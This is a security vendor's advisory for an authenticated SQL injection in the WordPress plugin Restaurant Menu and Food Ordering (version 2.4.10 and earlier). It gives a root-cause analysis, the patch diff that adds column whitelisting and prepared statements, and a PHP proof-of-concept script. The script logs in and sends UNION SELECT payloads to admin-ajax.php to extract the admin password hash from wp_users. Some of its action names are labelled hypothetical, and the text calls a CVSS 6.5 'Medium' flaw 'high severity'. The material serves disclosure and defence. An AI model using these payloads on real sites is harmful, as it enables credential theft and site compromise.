Published : July 4, 2026

CVE-2026-57644: Restaurant Menu and Food Ordering <= 2.4.10 Authenticated (Contributor+) SQL Injection PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 2.4.10
Patched Version 2.4.11
Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57644:
This vulnerability allows authenticated attackers with contributor-level access or higher to perform SQL injection attacks through the Restaurant Menu and Food Ordering plugin for WordPress. The flaw exists in the customer data handling functions within the class-customer.php file, affecting versions up to and including 2.4.10. The CVSS score of 6.5 indicates a high severity issue.

Root Cause:
The root cause is insufficient input sanitization and parameterized query preparation in the mp-restaurant-menu/classes/models/shop/class-customer.php file. Multiple functions directly interpolate user-supplied values into SQL queries without proper escaping or validation. Specifically, the get_by() method at line 54 uses the $params[“field”] parameter directly in the WHERE clause without sanitization. The get_columns() method at line 166 does not sanitize the $args[‘fields’] array elements before concatenation. The search functionality at lines 174-176 concatenates $args[‘search_by’] and $args[‘search_value’] directly into the query string. The check_for_existing_email() method at line 283 constructs a query with direct string interpolation of the $customer_email parameter using double quotes.

Exploitation:
An attacker with contributor-level access can craft HTTP requests targeting the vulnerable methods. The primary attack vector involves the customer retrieval endpoints that accept a “field” parameter to specify which column to query. By injecting SQL syntax into the field parameter, such as “id UNION SELECT user_login,user_pass FROM wp_users”, an attacker can extract sensitive data from other database tables. The attacker can also manipulate the search functionality by injecting SQL into the search_by parameter to bypass intended query limitations. Direct requests to the plugin’s AJAX handlers or admin-ajax.php with crafted parameters can trigger the vulnerable code paths.

Patch Analysis:
The patch introduces two new helper methods: sanitize_column() and sanitize_sql_columns(). The sanitize_column() method validates input against a whitelist of allowed column names: id, user_id, email, name, telephone, purchase_value, purchase_count, payment_ids, notes, date_created. Any column name not in this list returns an empty string, effectively blocking SQL injection through the field parameter. The sanitize_sql_columns() method applies sanitize_column() to each element of the fields array and filters out invalid entries. The patch also adds proper prepare() statements for the search_value parameter in the WHERE clause construction and implements absint() for numeric parameters like number and offset. The orderby parameter is now sanitized through sanitize_column(), and the order parameter is validated against ASC/DESC values. Additionally, the check_for_existing_email() method now uses $wpdb->prepare() with a %s placeholder instead of direct string interpolation.

Impact:
Successful exploitation allows attackers to extract sensitive data from the WordPress database beyond what the plugin intends to expose. This includes user credentials (hashed passwords), session tokens, user meta data, and potentially other sensitive configuration information stored in the database. The attack requires authentication but only at the contributor level, which is a relatively low-privilege role. An attacker could potentially obtain administrator credentials and escalate privileges to full site control, leading to complete compromise of the WordPress installation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/mp-restaurant-menu/classes/models/class-emails.php
+++ b/mp-restaurant-menu/classes/models/class-emails.php
@@ -407,7 +407,7 @@
 		$user_heading = esc_html__('Your account info', 'mp-restaurant-menu');
 		$user_message = sprintf(esc_html__('Username: %s', 'mp-restaurant-menu'), $user_data['user_login']) . "rn";
 		$user_message .= sprintf(esc_html__('Password: %s'), esc_html__('[Password entered at checkout]', 'mp-restaurant-menu')) . "rn";
-		$user_message .= '<a href="' . wp_login_url() . '"> ' . esc_attresc_html__('Click Here to Log In', 'mp-restaurant-menu') . ' »</a>' . "rn";
+		$user_message .= '<a href="' . wp_login_url() . '"> ' . esc_html__('Click Here to Log In', 'mp-restaurant-menu') . ' »</a>' . "rn";
 		$emails->__set('heading', $user_heading);
 		$emails->send($user_data['user_email'], $user_subject, $user_message);
 	}
@@ -618,4 +618,4 @@
 		add_action('mprm_email_links', array($this, 'resend_purchase_receipt'));
 		add_action('mprm_insert_user', array($this, 'new_user_notification'), 10, 2);
 	}
-}
 No newline at end of file
+}
--- a/mp-restaurant-menu/classes/models/shop/class-customer.php
+++ b/mp-restaurant-menu/classes/models/shop/class-customer.php
@@ -51,7 +51,13 @@
 			return false;
 		}

-		$customer = $wpdb->get_row($wpdb->prepare('SELECT * FROM ' . $this->table_name . ' WHERE ' . $params["field"] . ' = %s LIMIT 1', $params['value']));
+		$field = isset($params['field']) ? $this->sanitize_column($params['field']) : '';
+
+		if (empty($field) || !isset($params['value'])) {
+			return false;
+		}
+
+		$customer = $wpdb->get_row($wpdb->prepare('SELECT * FROM ' . $this->table_name . " WHERE {$field} = %s LIMIT 1", $params['value']));

 		return empty($customer) ? false : $customer;
 	}
@@ -120,6 +126,12 @@
 	 */
 	public function get_column($column, $customer_id) {
 		global $wpdb;
+		$column = $this->sanitize_column($column);
+
+		if (empty($column)) {
+			return null;
+		}
+
 		$column_value = $wpdb->get_var($wpdb->prepare("SELECT {$column} FROM  $this->table_name  WHERE id  = %d LIMIT 1", $customer_id));
 		return $column_value;
 	}
@@ -153,21 +165,35 @@
 		$args = wp_parse_args($args, $default_args);

 		if (is_array($args['fields']) && !empty($args['fields'])) {
-			$fields = implode(',', $args['fields']);
+			$fields = $this->sanitize_sql_columns($args['fields']);
 		}
 		$where = '';
-		$limit = empty($args['number']) ? '' : ' LIMIT ' . $args['number'];
-		$offset = empty($args['offset']) ? '' : ' OFFSET ' . $args['offset'];
+		$limit = empty($args['number']) ? '' : ' LIMIT ' . absint($args['number']);
+		$offset = empty($args['offset']) ? '' : ' OFFSET ' . absint($args['offset']);

 		if (!empty($args['search_value']) && !empty($args['search_by'])) {
-			if ( $args['search_by'] == 'id' ) {
-				$where = ' WHERE ' . $args['search_by'] . ' LIKE ' . "'{$args['search_value']}'";
+			$search_by = $this->sanitize_column($args['search_by']);
+
+			if (empty($search_by)) {
+				return false;
+			}
+
+			if ('id' === $search_by || 'user_id' === $search_by) {
+				$where = $wpdb->prepare(" WHERE {$search_by} = %d", absint($args['search_value']));
 			} else {
-				$where = ' WHERE ' . $args['search_by'] . ' LIKE ' . "'%{$args['search_value']}%'";
+				$where = $wpdb->prepare(" WHERE {$search_by} LIKE %s", '%' . $wpdb->esc_like((string) $args['search_value']) . '%');
 			}
 		}

-		$sql_reguest = "SELECT {$fields} FROM " . $this->table_name . $where . ' ORDER BY ' . $args['orderby'] . ' ' . $args['order'] . $limit . $offset;
+		$orderby = $this->sanitize_column($args['orderby']);
+		$order = strtoupper((string) $args['order']);
+		$order = in_array($order, array('ASC', 'DESC'), true) ? $order : 'DESC';
+
+		if (empty($orderby)) {
+			$orderby = 'id';
+		}
+
+		$sql_reguest = "SELECT {$fields} FROM " . $this->table_name . $where . " ORDER BY {$orderby} {$order}" . $limit . $offset;

 		$customers_data = $wpdb->get_results($sql_reguest);

@@ -254,7 +280,7 @@
 		if (empty($customer_email)) {
 			return false;
 		}
-		$data = $wpdb->get_results('SELECT email FROM  ' . $this->table_name . '   WHERE email = "' . $customer_email . '"');
+		$data = $wpdb->get_results($wpdb->prepare('SELECT email FROM  ' . $this->table_name . '   WHERE email = %s', $customer_email));
 		return empty($data) ? false : true;
 	}

@@ -773,6 +799,51 @@
 		return $this->purchase_count;
 	}

+	/**
+	 * @param string $column
+	 *
+	 * @return string
+	 */
+	private function sanitize_column($column) {
+		if (!is_string($column)) {
+			return '';
+		}
+
+		$allowed_columns = array(
+			'id',
+			'user_id',
+			'email',
+			'name',
+			'telephone',
+			'purchase_value',
+			'purchase_count',
+			'payment_ids',
+			'notes',
+			'date_created',
+		);
+
+		return in_array($column, $allowed_columns, true) ? $column : '';
+	}
+
+	/**
+	 * @param array $columns
+	 *
+	 * @return string
+	 */
+	private function sanitize_sql_columns($columns) {
+		if (!is_array($columns)) {
+			return '*';
+		}
+
+		if (in_array('*', $columns, true)) {
+			return '*';
+		}
+
+		$columns = array_filter(array_map(array($this, 'sanitize_column'), $columns));
+
+		return empty($columns) ? '*' : implode(',', $columns);
+	}
+
 	public function init_action() {
 		add_action('mprm_customer_pre_decrease_value', 'mprm_customer_pre_decrease_value');
 		add_action('mprm_customer_post_decrease_value', 'mprm_customer_post_decrease_value');
@@ -783,4 +854,4 @@
 		add_action('mprm_customer_pre_create', 'mprm_customer_pre_create');
 		add_action('mprm_customer_post_create', 'mprm_customer_post_create');
 	}
-}
 No newline at end of file
+}
--- a/mp-restaurant-menu/restaurant-menu.php
+++ b/mp-restaurant-menu/restaurant-menu.php
@@ -3,7 +3,7 @@
  * Plugin Name: Restaurant Menu
  * Plugin URI: https://motopress.com/products/restaurant-menu/
  * Description: This plugin gives you the power to effectively create, maintain and display online menus for almost any kind of restaurant, cafes and other typical food establishments.
- * Version: 2.4.10
+ * Version: 2.4.11
  * Author: MotoPress
  * Author URI: https://motopress.com
  * License: GPLv2 or later

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57644 - Restaurant Menu and Food Ordering <= 2.4.10 - Authenticated (Contributor+) SQL Injection

$target_url = 'http://example.com'; // Change this to the target WordPress URL
$username = 'contributor'; // Contributor-level username
$password = 'password'; // Contributor-level password

// Initialize cURL session for login
$ch = curl_init();

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');

$login_response = curl_exec($ch);
if (curl_error($ch)) {
    die('Login failed: ' . curl_error($ch));
}
echo "[+] Authenticated successfully as $usernamen";

// Step 2: Exploit SQL injection via customer retrieval endpoint
// This exploits the get_by() method by injecting into the "field" parameter
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Try to extract admin user credentials using UNION-based SQL injection
$sql_payload = "email UNION SELECT user_login,user_pass,user_email,display_name,user_registered,user_status,user_activation_key FROM wp_users WHERE ID=1 -- ";
$exploit_data = array(
    'action' => 'mprm_get_customer', // Hypothetical AJAX action, adjust based on plugin
    'field' => $sql_payload,
    'value' => 'test@example.com'
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);
if (curl_error($ch)) {
    die('Exploit request failed: ' . curl_error($ch));
}
echo "[+] Exploit response:n";
echo $response . "n";

// Step 3: Alternatively exploit the email check function
$email_payload = "' UNION SELECT user_pass FROM wp_users WHERE user_login='admin' -- ";
$email_exploit_data = array(
    'action' => 'mprm_check_email', // Hypothetical AJAX action, adjust based on plugin
    'email' => $email_payload
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($email_exploit_data));
$response2 = curl_exec($ch);
echo "[+] Email check exploit response:n";
echo $response2 . "n";

curl_close($ch);
echo "[+] Exploit completed. Check output for extracted data.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.